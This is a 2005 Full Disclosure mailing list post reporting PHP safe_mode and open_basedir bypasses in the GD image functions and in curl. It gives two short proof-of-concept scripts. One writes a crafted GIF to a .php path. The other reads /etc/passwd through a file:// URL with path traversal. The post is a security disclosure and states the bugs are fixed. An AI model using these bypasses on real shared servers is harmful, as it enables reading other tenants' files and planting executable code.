Full Disclosure mailing list archives

PHP Safedir Restriction Bypass Vulnerabilities


From: peter MC tachatte <slythers () gmail com>
Date: Mon, 17 Oct 2005 22:55:26 +0200

There is a vulnerability (Safedir Restriction Bypass) identified within the
GD extension affecting
the following functions:
- imagegif()
- imagepng()
- imagejpeg()

in /ext/gd/gd.c line 1647

Which is now fixed in the cvs
http://cvs.php.net/co.php/php-src/ext/gd/gd.c?r=1.312.2.1#1786
POC:

with an image like http://81.57.125.106/~slythers/file.gif
<?php
$im = imagecreatefromgif("file.gif");
imagegif($im, '/var/www/f34r.fr/c/f/elbossoso/.i.need.money.php');
?>


curl openbasedir and safemode bypass.
POC:

<?php

mkdir("./".$_SERVER["SCRIPT_NAME"]."?");
$ch = curl_init("
file://".$_SERVER["SCRIPT_FILENAME"]."?/../../../../../../../../../../../etc/passwd
");

$file=curl_exec($ch);

echo $file;

?>
As you notice, we can bypass the safedir which leads to access to any
files on any shared servers.

This is fixed in the cvs.
 slythers () gmail com
greets: david coallier <davidc () php net>
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